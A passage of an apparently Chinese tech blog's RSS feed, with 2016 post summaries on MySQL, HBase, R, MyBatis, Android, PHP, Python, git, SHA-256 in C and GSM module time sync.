TINYBLOB TINYINT TINYTEXT TO TRAILING TRIGGER TRUE UNDO UNION UNIQUE UNLOCK UNSIGNED UPDATE USAGE USE USING UTC_DATE UTC_TIME UTC_TIMESTAMP VALUES VARBINARY VARCHAR VARCHARACTER VARYING WHEN WHERE WHILE WITH WRITE X509 XOR YEAR_MONTH ZEROFILL MySQL允许部分关键字用做未引起来的识别符，因为许多人以前曾使用过它们。下面列出了一些例子：</description>
    </item>
    <item>
      <title>GSM/GPRS模块通过NTP服务器（世界授时服务器）来获取UTC时间，并时间存于RTC中。</title>
      <link>https://bchobby.github.io/posts/d58d74c4416b371060e99dd7e5352e33/</link>
      <pubDate>Sat, 25 Jun 2016 11:09:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d58d74c4416b371060e99dd7e5352e33/</guid>
      <description>以SIM900A 的GSM/GPRS模块为例。从模块的AT指令手册可以看到有获取UTC（世界时间）的指令:AT+CLTS。当用该指令去获取时间时，从调试助手看到模块只返回OK，之后再无响应。后来在网上查到网友说该模块受到当地运营商权限限制，不一定所有都能授UTC时间，所以该指令只能作废。&#xA;在手册中还能看到AT+CCLK指令，该指令其实是设置和获取模块内部RTC时间。但是模块的使用过程经常会涉及上电和掉电情况，RCT无法从始至终的一直工作。&#xA;所以，要想获取一个正常持续的时间，只能由模块在线的获取一个时间，将该时间在写入RTC中，这样再不断的从RTC里获取实时时间。如果掉电后上电，模块再在线获取时间并写入RTC。这样就能持续稳定并且获取到正常的时间。&#xA;但是问题来了，模块如何才能在线的获取一个正确时间，AT+CLTS也无法使用。庆幸的是，网上有人提到可以用NTP服务器（世界授时服务器）来获取UTC时间，这真是个好方法，也就是说，通过模块连接到这么一个服务器，它会发给你正确的时间。但是NTP服务器都有哪些呢，地址和端口都多少。通过网上的搜寻，找了很多这样的服务器，国内外都有，可是死活就是有的连上不给时间，有的压根连不上，我不懂是不是端口号或者协议啥的问题。尝试了很多，最终终于找到一个比较稳定的授时服务器，亲测稳定能用，这里分享给大家，IP是：time.nist.gov，端口：13 TCP协议。这个还是比较稳定的，是一个外国的授时服务器。该服务器只要连接成功后就会在几秒钟内把时间发给你，并且自动断开连接。&#xA;连接和获取过程如下：&#xA;时间是给你了，下面的问题就是如何把里面的年月日等依次提取出来，并把时间再通过AT+CCLK写入RTC中。而模块RTC的时间设置格式为：AT+CCLK=&#34;16/06/18,13:11:52+08&#34; 这样形式，所以提取出的时间还得转成这样格式的字符串。由于获取服务器时间需要较等待，所以当正常工作过程中，单片机只要获取这个模块内RTC时间就可以，可以发送“AT+CCLK？” 反馈回来的时间格式也是&#34;16/06/24,13:11:52+08&#34; 这样格式，再将里面的年月日等提取出来就可以了。这些主要就是对字符串的操作处理。具体我给出自己写的处理获取过程：&#xA;/*******************************************************************************&#xA;* 函数名 : TimeGetWait&#xA;* 描述 :获取Time信息（连接服务器成功情况下）&#xA;* 输入 : * 输出 : * 返回 : * 注意 : *******************************************************************************/&#xA;void TimeGetWait()&#xA;{&#xA;u8 i =0;&#xA;char timestr1[200]={0};&#xA;char *timestr = timestr1;//指向timestr1地址&#xA;while(1)&#xA;{&#xA;if(strstr(Uart2_Buf , &#34;+IPD&#34;) != NULL)&#xA;{&#xA;timestr = strstr(Uart2_Buf , &#34;+IPD&#34;);//Uart2_Buf 为接收缓存数组&#xA;break;&#xA;}&#xA;}&#xA;delay_ms(5);&#xA;//提取UTC世界时间&#xA;for(i = 0 ; i &amp;lt;50 ; i++)</description>
    </item>
    <item>
      <title>使用JAVA语言操作Hbase  JAVA整合Hbase</title>
      <link>https://bchobby.github.io/posts/2c9f66e1ec2201b5c0d67a015d43e40c/</link>
      <pubDate>Sat, 25 Jun 2016 10:55:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2c9f66e1ec2201b5c0d67a015d43e40c/</guid>
      <description>http://blog.csdn.net/qq_31570685/article/details/51757351 hbase集群的搭建&#xA;步骤1：新创建一个Java Project 步骤2：导入JAR包 全部来源于官方文档（hbase-1.1.2-bin.tar.gz）解压后，xx\hbase-1.1.2\lib*.jar&#xA;步骤3：修改开发机的hosts文件&#xA;步骤4：修改虚拟机的配置文件&#xA;步骤5：实现查询、新建、删除等&#xA;package hbase; import java.io.IOException; import java.util.ArrayList; import java.util.List; import org.apache.hadoop.conf.Configuration; import org.apache.hadoop.hbase.Cell; import org.apache.hadoop.hbase.HBaseConfiguration; import org.apache.hadoop.hbase.HColumnDescriptor; import org.apache.hadoop.hbase.HTableDescriptor; import org.apache.hadoop.hbase.TableName; import org.apache.hadoop.hbase.client.Admin; import org.apache.hadoop.hbase.client.Connection; import org.apache.hadoop.hbase.client.ConnectionFactory; import org.apache.hadoop.hbase.client.Delete; import org.apache.hadoop.hbase.client.Get; import org.apache.hadoop.hbase.client.Put; import org.apache.hadoop.hbase.client.Result; import org.apache.hadoop.hbase.client.ResultScanner; import org.apache.hadoop.hbase.client.Scan; import org.apache.hadoop.hbase.client.Table; import org.apache.hadoop.hbase.exceptions.DeserializationException; import org.apache.hadoop.hbase.filter.Filter; import org.apache.hadoop.hbase.filter.SingleColumnValueFilter; import org.apache.hadoop.hbase.filter.CompareFilter.CompareOp; import org.apache.hadoop.hbase.util.Bytes; import org.junit.Before; import org.junit.Test; public class HBaseDemo { // 与HBase数据库的连接对象 Connection connection; // 数据库元数据操作对象 Admin admin; @Before public void setUp() throws Exception { // 取得一个数据库连接的配置参数对象 Configuration conf = HBaseConfiguration.</description>
    </item>
    <item>
      <title>R语言</title>
      <link>https://bchobby.github.io/posts/7163a446e36c311a471845fc7f182b7a/</link>
      <pubDate>Thu, 23 Jun 2016 21:21:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7163a446e36c311a471845fc7f182b7a/</guid>
      <description>R的源起&#xA;R是S语言的一种实现。S语言是由 AT&amp;amp;T贝尔实验室开发的一种用来进行数据探索、统计分析、作图的解释型语言。最初S语言的实现版本主要是S-PLUS。S-PLUS是一个商业 软件，它基于S语言，并由MathSoft公司的统计科学部进一步完善。后来Auckland大学的Robert Gentleman 和 Ross Ihaka 及其他志愿人员开发了一个R系统。R的使用与S-PLUS有很多类似之处，两个软件有一定的兼容性。&#xA;R is free&#xA;R是用于统计分析、绘图的语言和操作环境。R是属于GNU系统的一个自由、免费、源代码开放的软件，它是一个用于统计计算和统计制图的优秀工具。&#xA;R是一套完整的数据处理、计算和制图软件系统。其功能包括：数据存储和处理系统；数组运算工具（其向量、矩阵运算方面功能尤其强大）；完整连贯的统计分析工具；优秀的统计制图功能；简便而强大的编程语言：可操纵数据的输入和输入，可实现分支、循环，用户可自定义功能。&#xA;R是一个免费的自由软件，它有UNIX、LINUX、MacOS和WINDOWS版本，都是可以免费下载和使用的,在那儿可以下载到R的安装程序、各种外挂程序和文档。在R的安装程序中只包含了8个基础模块，其他外在模块可以通过CRAN获得。&#xA;R的特点&#xA;(1) 有效的数据处理和保存机制。&#xA;(2) 拥有一整套数组和矩阵的操作运算符。&#xA;(3) 一系列连贯而又完整的数据分析中间工具。&#xA;(4) 图形统计可以对数据直接进行分析和显示，可用于多种图形设备。&#xA;(5) 一种相当完善、简洁和高效的程序设计语言。它包括条件语句、循环语句、用户自定义的递归函数以及输入输出接口。&#xA;(6) R语言是彻底面向对象的统计编程语言。&#xA;(7) R语言和其它编程语言、数据库之间有很好的接口。&#xA;(8) R语言是自由软件，可以放心大胆地使用，但其功能却不比任何其它同类软件差。&#xA;(9) R语言具有丰富的网上资源&#xA;一 入门训练&#xA;1. 获取帮助&#xA;&amp;gt; help.start() 开启帮助文档&#xA;&amp;gt;help(solve) 显示某命令的帮助信息，或者&#xA;&amp;gt;?solve&#xA;对于由特殊字符指定的功能，这些参数必须用单引号或双引号括起来，使之成为一个“字符串”,如&#xA;&amp;gt; help(&#34;[[&#34;)&#xA;与某个主题相关的例子通常可以用下面的命令得到&#xA;&amp;gt; example(topic)&#xA;2. 命令简介&#xA;R对大小写是敏感的；名称不能以数字开始；&#xA;基本的命令由表达式或者赋值语句组成。如果一个表达式被作为一条命令给出，它将被求值、打印而表达式的值并不被保存。一个赋值语句同样对表达式求值之后把表达式的值传给一个变量，不过并不会自动的被打印出来；&#xA;命令由分号(;)来分隔，或者另起新行；&#xA;基本命令可以由花括号(f和g)合并为一组复合表达式；&#xA;注释几乎可以被放在任何地方，只要是以井号( # )开始，到行末结束；&#xA;如果一个命令在行莫仍没有结束，R将会给出一个不同的提示符，默认的是‘+’。&#xA;3. 命令文件的执行和输出转向到文件&#xA;如果命令存储于一个外部文件中，比如工作目录work中的commands.R，他们可以随时在R的任务中被执行&#xA;&amp;gt; source(&#34;commands.R&#34;)在Windows中Source也可以由File菜单执行。&#xA;函数sink，&#xA;&amp;gt; sink(&#34;record.lis&#34;)&#xA;将把所有后续的输出由终端转向一个外部文件，record.lis。命令</description>
    </item>
    <item>
      <title>MyBatis 参数允许为空的异常解决方案</title>
      <link>https://bchobby.github.io/posts/96434ba4e42488dab1f3c677832a5c0e/</link>
      <pubDate>Tue, 21 Jun 2016 09:17:53 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/96434ba4e42488dab1f3c677832a5c0e/</guid>
      <description> 最近在做一个采用了 MyBatis 框架的项目时，遇到一个这样的问题： 数据库中有一个表，表中有一个字段允许为空，因此，在 Java 代码中为这个表插入数据时，我们通常对该字段的处理大概是这样的：如果有值，自然是通过其 setter() 方法设置上即可；如果没有值，情况稍微麻烦一点点，一种做法是通过 setter() 方法传入 null 值，另一种做法是什么都不做（即不调用 setter() 方法）。对于以上两种情况，有值时自然一切顺利（除非你的程序设计本身烂得不行偷笑）；如果没有值时，问题接着就来了，运行时将抛出一类似以下这样的异常： org.springframework.jdbc.UncategorizedSQLException: Error setting null parameter. Most JDBC drivers require that the JdbcType must be specified for all nullable parameters... 经过仔细研究和查阅资料，终于知道问题的根源了。原来出现这个异常的原因在于，MyBatis 不知道你传入的 null 参数对应的 jdbc 类型是什么，因为在 MyBatis 看来，null 在数据库中可以为多种类型（例如，可以为 CHAR、VARCHAR、DATE 等），于是 MyBatis 就傻眼了，解决办法自然是你要告诉 MyBatis 这个 null 对应的 jdbc 类型是什么。于是得出的答案如下： 在你相应的 Mapper 中，传入该参数的地方写明 jdbc 类型即可，比如原来传参数是这样写的：#{myNullParameter}，把它改成这样写即可：#{myNullParameter, jdbcType=VARCHAR} OK，问题得以解决，祝君好运··· 注：如果转载，请注明出处，尊重作者就是尊重自己~ </description>
    </item>
    <item>
      <title>Android Studio检测内存泄露和性能</title>
      <link>https://bchobby.github.io/posts/3299125dde501015380fb2cc462a6753/</link>
      <pubDate>Mon, 20 Jun 2016 16:23:10 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3299125dde501015380fb2cc462a6753/</guid>
      <description>http://www.jianshu.com/p/216b03c22bb8</description>
    </item>
    <item>
      <title>Android-启动模式task-lunchmodle-intent flag 总结</title>
      <link>https://bchobby.github.io/posts/7ec4c09f3a5a3408bac58558bd96cc47/</link>
      <pubDate>Mon, 20 Jun 2016 15:36:08 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7ec4c09f3a5a3408bac58558bd96cc47/</guid>
      <description>总结： 同一task内的activity可以是来自不同进程的activity栈内的activity不会重新排序，只能push或者popstandard模式允许多实例，可以在不同的tasksingleTask的activity只会存在一个实例singleTask的activity如果设置了独立的taskAffinity属性值，启动时就会在新的task中，否则会在已有task中singleTask的activity启动时，它会在目标task（新的task或者已有task）中查看是否已经存在相应的activity实例，如果存在，就会把位于这个activity实例上面的activity全部销毁（pop, destroy）掉，即最终这个activity实例会位于任务的堆栈顶端中 task task是一个从用户角度出发的概念，它是一些activity的组合，它们组合起来是为了让用户完成某一件工作（或者说操作）。&#xA;task内的activity们以栈的形式组织起来，也就是back stack了。栈内的activity不会重新排序，只能push或者pop。栈内的activity可以来自不同的app，因此可以是运行在不同的进程，但是它们都属于同一个task内。&#xA;安卓系统是实时多task系统，用户可以随意在多个task之间切换。当一个task的栈内所有activity都pop之后，task也就销毁了。有时系统为了回收内存，会销毁activity，但是task不会销毁。&#xA;activity在manifest中有launchMode选项，可以配置其启动的模式。标准模式下，允许一个activity同时存在多个实例，既可以在同一个task，也可以在不同task。manifest可以指定launchMode，intent可以指定intent flag，前者供被启动者使用，后者供启动者使用，同时使用时后者会覆盖前者。&#xA;launchMode standard，默认模式，允许多实例singleTop，相比于standard，有新的启动请求时，只有在目标activity处于当前栈顶时，才会调用onNewIntent()而不创建新实例，其他情况都和standard一致singleTask，（这段摘自老罗的博客）设置了”singleTask”启动模式的Activity，它在启动的时候，会先在系统中查找属性值affinity等于它的属性值taskAffinity的任务存在；如果存在这样的任务，它就会在这个任务中启动，否则就会在新任务中启动。因此，如果我们想要设置了”singleTask”启动模式的Activity在新的任务中启动，就要为它设置一个独立的taskAffinity属性值。如果设置了”singleTask”启动模式的Activity不是在新的任务中启动时，它会在已有的任务中查看是否已经存在相应的Activity实例，如果存在，就会把位于这个Activity实例上面的Activity全部结束掉，即最终这个Activity实例会位于任务的堆栈顶端中。singleInstance，和singleTask相比，不同点在于singleInstance activity所在的task只会有这一个activity返回导航：singleTask和singleInstance启动的activity，尽管可能不在同一个task，但是仍然会回到原来的activity；但是singleTask可能会存在back stack“拼接”的情况 launchMode验证测试 主要测试的是singleTask这一属性，其他的文档描述都比较清楚，也不容易产生误解。两组实验，不设置taskAffinity和设置taskAffinity时，singleTask的行为。对比两者“最近任务”，dumpsys，logcat，返回导航的差异。&#xA;测试1 不设置taskAffinity，MainActivity -&amp;gt; SingleTaskFirstActivity -&amp;gt; SimpleActivity -&amp;gt; SingleTaskSecondActivity -&amp;gt; 选择图片Intent，再一路返回。&#xA;最近任务内只能看到一个TaskDemo的任务，dumpsys的结果如下：&#xA;所有的activity均在同一个task内，验证了老罗的结论。另外注意标红的两处，它们的ProcessRecord对象不同，ImageGallery和SingleTaskActivity处于不同的进程，也验证了前文所述“可以运行在不同的进程”。&#xA;logcat日志如下：&#xA;一路返回依次回到SingleTaskSecondActivity, SimpleActivity, SingleTaskFirstActivity,MainActivity, 桌面。&#xA;测试2 设置SingleTaskFirstActivity的taskAffinity为单独的值，MainActivity -&amp;gt; SingleTaskFirstActivity。&#xA;通过最近任务可以看到，有了两个TaskDemo的任务。而dumpsys结果如下：&#xA;可以看到，MainActivity和SingleTaskFirstActivity运行在了两个不同的task里面（栈底为MainActivity的t225, 栈底为SingleTaskFirstActivity的t226），但是他们仍属于同一进程。&#xA;我们接着启动SimpleActivity，再通过最近任务切换回t225，并且也启动SimpleActivity，这时通过dumpsys结果如下：&#xA;SimpleActivity同时存在两个实例，他们的hashCode是不同的，目前处于resumed状态的是在t225中的实例。&#xA;而通过查看logcat：&#xA;我们同样发现SimpleActivity被创建了两个实例。&#xA;此时我们通过最近任务切换回t226，并在此启动SingleTaskSecondActivity，查看dumpsys，然后再切换回t225也启动SingleTaskSecondActivity，查看dumpsys和logcat：&#xA;我们可以看到尽管第一次启动SingleTaskSecondActivity是在t226，但是SingleTaskSecondActivity实例却运行在t225中，为什么呢？因为SingleTaskSecondActivity并没有设置taskAffinity属性，所以它和MainActivity将会运行在同一个task中！和老罗的分析一致。而第二次启动时，并未创建新的SingleTaskSecondActivity实例，而是调用了它的onNewIntent方法，和文档描述一致。&#xA;现在我们测试一下返回导航，依次按下返回键，观察每次回到的activity，以及每次dumpsys的结果，以及logcat的结果：&#xA;第一次回到了t225的SimpleActivity，dumpsys：&#xA;第二次回到了t225的MainActivity，dumpsys：&#xA;第三次回到了t226的SimpleActivity，dumpsys：&#xA;第四次回到了t226的SingleTaskFirstActivity，dumpsys：&#xA;最后一次返回就回到了桌面。&#xA;logcat日志如下：&#xA;从上面的返回路径来看，确实验证了developer文档上关于back stack“拼接”的情况的描述，即：并不是按照most recent first的顺序返回的，而是优先把一个task的back stack（t225） pop完毕之后，再pop下一个task的back stack（t226）。&#xA;测试3 基于测试2的版本，MainActivity -&amp;gt; SingleTaskFirstActivity -&amp;gt; SimpleActivity，再切换回MainActivity，再启动SingleTaskFirstActivity。&#xA;查看最近任务，仍然有两个task，但是查看dumpsys以及logcat：&#xA;我们可以看到，第一次启动的SimpleActivity就被pop（destroy）了，从而把未在栈顶的SingleTaskFirstActivity提到了栈顶。这也验证了back stack内的activity不会重新排序，最会pop和push的事实。</description>
    </item>
    <item>
      <title>变量名的命名规则</title>
      <link>https://bchobby.github.io/posts/405a3492b41ef832b57e3d12097735fa/</link>
      <pubDate>Sun, 19 Jun 2016 13:03:41 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/405a3492b41ef832b57e3d12097735fa/</guid>
      <description>变量名除了需要“$”进行标识外，还有一些规则需要遵守。就像拿到驾驶证以后，还得遵守交通规则。变量名的命名规则主要有三条：&#xA;1、变量名必须以字母或下划线 “_”开头，如”$_name”,”$name” ,”$name2”等，但是”$9name”是不对的。&#xA;2、变量名只能由字母、数字、以及“_”组成，还能包含汉字。如”$_qq”,”$qq308” ,”$my_apple”，“比如&#34;$name我等”，但是”$name*”是不对的。&#xA;3、变量名不允许包含空格。当变量名由多个单词组成，建议使用“_”进行分隔（比如 $my_apple），俗称下划线法，或者以大写字母开头比如 $myApple，俗称骆驼式命名法（也称驼峰命名法）。&#xA;特别需要注意的是，在PHP中变量名是区分大小写的，如“$my_book”与“$my_Book”代表两个不同的变量。</description>
    </item>
    <item>
      <title>详解Python中的join()函数的用法</title>
      <link>https://bchobby.github.io/posts/14f14c3e6e07464f2cb48415d45cd2d0/</link>
      <pubDate>Fri, 17 Jun 2016 10:20:29 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/14f14c3e6e07464f2cb48415d45cd2d0/</guid>
      <description>Python中有join()和os.path.join()两个函数，具体作用如下：&#xA;join()： 连接字符串数组。将字符串、元组、列表中的元素以指定的字符(分隔符)连接生成一个新的字符串。&#xA;os.path.join()： 将多个路径组合后返回。&#xA;函数说明如下：&#xA;1、join()函数&#xA;语法： ‘sep’.join(seq)&#xA;参数说明： sep：分隔符，可以为空。 seq：要连接的元素序列、字符串、元组、字典。 上面的语法即：以sep作为分隔符，将seq所有的元素合并成一个新的字符串。&#xA;返回值：返回一个以分隔符sep连接各个元素后生成的字符串。&#xA;2、os.path.join()函数&#xA;语法： os.path.join(path1[,path2[,……]])&#xA;返回值：将多个路径组合后返回。&#xA;注：第一个绝对路径之前的参数将被忽略。&#xA;实例：&#xA;#对序列进行操作（分别使用&#39; &#39;与&#39;:&#39;作为分隔符） &amp;gt;&amp;gt;&amp;gt; seq1 = [&#39;hello&#39;,&#39;good&#39;,&#39;boy&#39;,&#39;doiido&#39;] &amp;gt;&amp;gt;&amp;gt; print &#39; &#39;.join(seq1) hello good boy doiido &amp;gt;&amp;gt;&amp;gt; print &#39;:&#39;.join(seq1) hello:good:boy:doiido #对字符串进行操作 &amp;gt;&amp;gt;&amp;gt; seq2 = &#34;hello good boy doiido&#34; &amp;gt;&amp;gt;&amp;gt; print &#39;:&#39;.join(seq2) h:e:l:l:o: :g:o:o:d: :b:o:y: :d:o:i:i:d:o #对元组进行操作 &amp;gt;&amp;gt;&amp;gt; seq3 = (&#39;hello&#39;,&#39;good&#39;,&#39;boy&#39;,&#39;doiido&#39;) &amp;gt;&amp;gt;&amp;gt; print &#39;:&#39;.join(seq3) hello:good:boy:doiido #对字典进行操作 &amp;gt;&amp;gt;&amp;gt; seq4 = {&#39;hello&#39;:1,&#39;good&#39;:2,&#39;boy&#39;:3,&#39;doiido&#39;:4} &amp;gt;&amp;gt;&amp;gt; print &#39;:&#39;.</description>
    </item>
    <item>
      <title>git 修改.gitignore后生效</title>
      <link>https://bchobby.github.io/posts/840722c00da945180a460fb2d8c57b48/</link>
      <pubDate>Thu, 16 Jun 2016 09:50:56 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/840722c00da945180a460fb2d8c57b48/</guid>
      <description> 在使用git的时候我们有时候需要忽略一些文件或者文件夹。我们一般在仓库的根目录创建.gitignore文件&#xA;在提交之前，修改.gitignore文件，添加需要忽略的文件。然后再做add commit push 等&#xA;但是有时在使用过称中，需要对.gitignore文件进行再次的修改。这次我们需要清除一下缓存cache，才能是.gitignore 生效。&#xA;具体做法：&#xA;git rm -r --cached . #清除缓存 git add . #重新trace file git commit -m &#34;update .gitignore&#34; #提交和注释 git push origin master #可选，如果需要同步到remote上的话 这样就能够使修改后的.gitignore生效。 </description>
    </item>
    <item>
      <title>JavaScript中操作Mysql数据库实例</title>
      <link>https://bchobby.github.io/posts/e28144361323bd0e7c73c74a63f1545f/</link>
      <pubDate>Wed, 15 Jun 2016 15:38:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/e28144361323bd0e7c73c74a63f1545f/</guid>
      <description>Javascript访问MYSQL&#xA;1、下载MYSQL的ODBC连接http://www.mysql.com/downloads/connector/odbc/； 2、在JS中建立ODBC连接如下： var con = new ActiveXObject(&#34;ADODB.Connection&#34;); con.ConnectionString = &#34;DRIVER={MySQL ODBC 5.1 Driver};OPTION=3;SERVER=127.0.0.1;User ID=root;Password=123456;Database=mysql;Port=3306&#34;; con.open; var rs = new ActiveXObject(&#34;ADODB.Recordset&#34;); rs.open(&#34;select * from user&#34;, con); while (!rs.eof) { var u = rs.Fields(&#34;User&#34;); document.write(u); rs.moveNext; } rs.close(); rs = null; con.close(); con = null; 需要注意连接字符串中Driver的名称与安装后的ODBC中的Drivers页中的MYSQL名称一致即可！&#xA;JavaScript中操作Mysql数据库实例教程 //创建数据库连接对象 var conn = new ActiveXObject(&#34;ADODB.Connection&#34;); //创建数据集对象 var rs = new ActiveXObject(&#34;ADODB.Recordset&#34;); try{ //数据库连接串，具体配置请参考：http://www.connectionstrings.com/ //如果不知道如何配置连接串，可以通过配置UDL文件后用文本编辑器打开获得 var connectionstring = &#34;Driver={MySQL ODBC 5.2w Driver};Server=localhost;Database=myDataBase;User=myUsername; Password=myPassword;Option=3;Port=3306&#34;; //打开连接 conn.</description>
    </item>
    <item>
      <title>sha256</title>
      <link>https://bchobby.github.io/posts/d8d8a6d2e9e1fb99302b479a8fe540d4/</link>
      <pubDate>Wed, 15 Jun 2016 11:05:38 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/d8d8a6d2e9e1fb99302b479a8fe540d4/</guid>
      <description>SHA有如下特性：不可以从消息摘要中复原信息；两个不同的消息不会产生同样的消息摘要。&#xA;对于长度小于2^64位的消息，SHA256会产生一个256位（32byte）的消息摘要。&#xA;#include &amp;lt;stdio.h&amp;gt;&#xA;#include &amp;lt;string.h&amp;gt; #include &amp;lt;stdlib.h&amp;gt; #define maxlen 1000000 typedef unsigned int uint; typedef unsigned char ubyte; typedef unsigned long long ull; char instr[maxlen]; const uint k[] = { 0x428a2f98, 0x71374491, 0xb5c0fbcf, 0xe9b5dba5, 0x3956c25b, 0x59f111f1, 0x923f82a4, 0xab1c5ed5, 0xd807aa98, 0x12835b01, 0x243185be, 0x550c7dc3, 0x72be5d74, 0x80deb1fe, 0x9bdc06a7, 0xc19bf174, 0xe49b69c1, 0xefbe4786, 0x0fc19dc6, 0x240ca1cc, 0x2de92c6f, 0x4a7484aa, 0x5cb0a9dc, 0x76f988da, 0x983e5152, 0xa831c66d, 0xb00327c8, 0xbf597fc7, 0xc6e00bf3, 0xd5a79147, 0x06ca6351, 0x14292967, 0x27b70a85, 0x2e1b2138, 0x4d2c6dfc, 0x53380d13, 0x650a7354, 0x766a0abb, 0x81c2c92e, 0x92722c85, 0xa2bfe8a1, 0xa81a664b, 0xc24b8b70, 0xc76c51a3, 0xd192e819, 0xd6990624, 0xf40e3585, 0x106aa070, 0x19a4c116, 0x1e376c08, 0x2748774c, 0x34b0bcb5, 0x391c0cb3, 0x4ed8aa4a, 0x5b9cca4f, 0x682e6ff3, 0x748f82ee, 0x78a5636f, 0x84c87814, 0x8cc70208, 0x90befffa, 0xa4506ceb, 0xbef9a3f7, 0xc67178f2 }; void declare(){ printf(&#34;</description>
    </item>
    <item>
      <title>mysql开启远程访问权限及防火墙开放3306端口</title>
      <link>https://bchobby.github.io/posts/2f50d6320779d63870a0af263104e93d/</link>
      <pubDate>Tue, 14 Jun 2016 14:58:50 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2f50d6320779d63870a0af263104e93d/</guid>
      <description>默认mysql的用户是没有远程访问的权限的，因此当程序跟数据库不在同一台服务器上时，我们需要开启mysql的远程访问权限。&#xA;主流的有两种方法，改表法和授权法。&#xA;1、开启mysql的远程访问权限&#xA;登陆mysql，修改mysql库的user表，将host项，从localhost改为%。%这里表示的是允许任意host访问，如果只允许某一个ip访问，则可改为相应的ip，比如可以将localhost改为192.168.1.123，这表示只允许局域网的192.168.1.123这个ip远程访问mysql。&#xA;update user set host = &#39;%&#39; where user = &#39;root&#39;; flush privileges; 2、防火墙开放3306端口 编辑防火墙配置文件&#xA;vi /etc/sysconfig/iptables 增加下面一行（注意：增加的开放3306端口的语句一定要在icmp-host-prohibited之前）&#xA;-A INPUT -m state --state NEW -m tcp -p tcp --dport 3306 -j ACCEPT重启防火墙 service iptables restart 若发生下面的错误 Can&#39;t get hostname for your addressConnection closed by foreign host修改数据库配置文件 vi /etc/my.cnf在[mysqld]节点下新增或修改如下两行 skip-name-resolve #忽略主机名的方式访问 lower_case_table_names=1 #忽略数据库表名大小写 重启MySQL服务就OK。&#xA;附：MySQL库名表名大小写问题&#xA;0：默认值，大小写敏感；注意：如果在大小写不敏感的文件系统上用lower_case_table_names=0强制设为0，并且使用不同的大小写访问MyISAM表名，会导致索引破坏。&#xA;1：表名在硬盘上以小写保存，名称对大小写不敏感。MySQL将所有表名转换为小写以便存储和查找。（建议值，我一般都设置为这个值，除非有特殊需求）&#xA;2：表名和数据库名在硬盘上使用CREATE TABLE或CREATE DATABASE语句指定的大小写进行保存，但MySQL将它们转换为小写以便查找。</description>
    </item>
    <item>
      <title>Android 6.0 CoordinatorLayout</title>
      <link>https://bchobby.github.io/posts/834b18823241a19b681d3046e8b69dd3/</link>
      <pubDate>Tue, 14 Jun 2016 00:07:58 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/834b18823241a19b681d3046e8b69dd3/</guid>
      <description>http://www.cnblogs.com/yuanchongjie/p/4997134.html https://www.aswifter.com/2015/11/12/mastering-coordinator/ http://blog.csdn.net/feiduclear_up/article/details/46514791 https://github.com/sungerk/CoordinatorLayoutDemos http://blog.csdn.net/xyz_lmn/article/details/48055919 http://tianyejia.net/2016/03/28/Toolbar-CoordinatorLayout-AppBarLayout%E7%9A%84%E4%BD%BF%E7%94%A8/ http://haodada.me/2016/04/06/material-design%E4%B9%8Bcoordinatorlayout-appbarlayout-collapsingtoolbarlayout%E7%9A%84%E4%BD%BF%E7%94%A8/ http://www.iwankr.com/?p=674&#xA;http://www.voidcn.com/blog/u010399316/article/p-5698600.html&#xA;http://www.jianshu.com/p/f418bf95db2d</description>
    </item>
    <item>
      <title>Android APP被关闭后无法收到推送消息（尝试）</title>
      <link>https://bchobby.github.io/posts/62f9ab11c7115eaebc4354cdfd0d8544/</link>
      <pubDate>Mon, 13 Jun 2016 14:46:37 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/62f9ab11c7115eaebc4354cdfd0d8544/</guid>
      <description>1. Android端进程被杀死后，目前自带的保护后台接收消息活跃机制。暂时没有什么好的机制保持任何情况下都活跃&#xA;文章参考：http://blog.csdn.net/marswin89/article/details/50917098&#xA;android原生系统用home键杀进程可以起来，如果是强行停止就只能用户自己手动开启应用&#xA;如果是miui等第三方应用，杀了进程默认无法自启动&#xA;如果是root过的原生系统，杀了进程也是没有办法起来的，这个时候推送是收不到的&#xA;如果是原生系统，没有root，只要不是强行停止，其他系统自带的停止方式都可以自启动，一般10s内恢复&#xA;目前已知以下第三方系统会影响到应用：&#xA;小米【MIUI】&#xA;自启动管理：需要把应用加到【自启动管理】列表，否则杀进程或重新开机后进程无法开启&#xA;通知栏设置：应用默认都是显示通知栏通知，如果关闭，则收到通知也不会提示&#xA;华为【Emotion】&#xA;自启动管理：需要把应用加到【自启动管理】列表，否则杀进程或重新开机后进程不会开启，只能手动开启应用&#xA;后台应用保护：需要手动把应用加到此列表，否则设备进入睡眠后会自动杀掉应用进程，只有手动开启应用才能恢复运行&#xA;通知管理：应用状态有三种：提示、允许、禁止。禁止应用则通知栏不会有任何提醒&#xA;魅族【Flyme】&#xA;自启动管理：需要把应用加到【自启动管理】列表，否则杀进程或重新开机后进程发开启&#xA;通知栏推送：关闭应用通知则收到消息不会有任何展示&#xA;VIVO【Funtouch OS】&#xA;内存一键清理：需要将应用加入【白名单】列表，否则系统自带的“一键加速”，会杀掉进程&#xA;自启动管理：需要将应用加入“i管家”中的【自启动管理】列表，否则重启手机后进程不会自启。但强制手动杀进程，即使加了这个列表中，后续进程也无法自启动。&#xA;OPPO【ColorOS】&#xA;冻结应用管理：需要将应用加入纯净后台，否则锁屏状态下无法及时收到消息&#xA;自启动管理：将应用加入【自启动管理】列表的同时，还需要到设置-应用程序-正在运行里锁定应用进程，否则杀进程或者开机后进程不会开启，只能手动开启应用&#xA;目前推送的保活机制基本上都是&#xA;一.依赖于系统广播的接收调用&#xA;常用的有：1.锁屏解锁广播2.网络状态改变广播3.安装包广播，卸载包广播4.存储器挂载卸载广播&#xA;android.intent.action.USER_PRESENT android.net.conn.CONNECTIVITY_CHANGE android.net.wifi.RSSI_CHANGED android.net.wifi.STATE_CHANGE 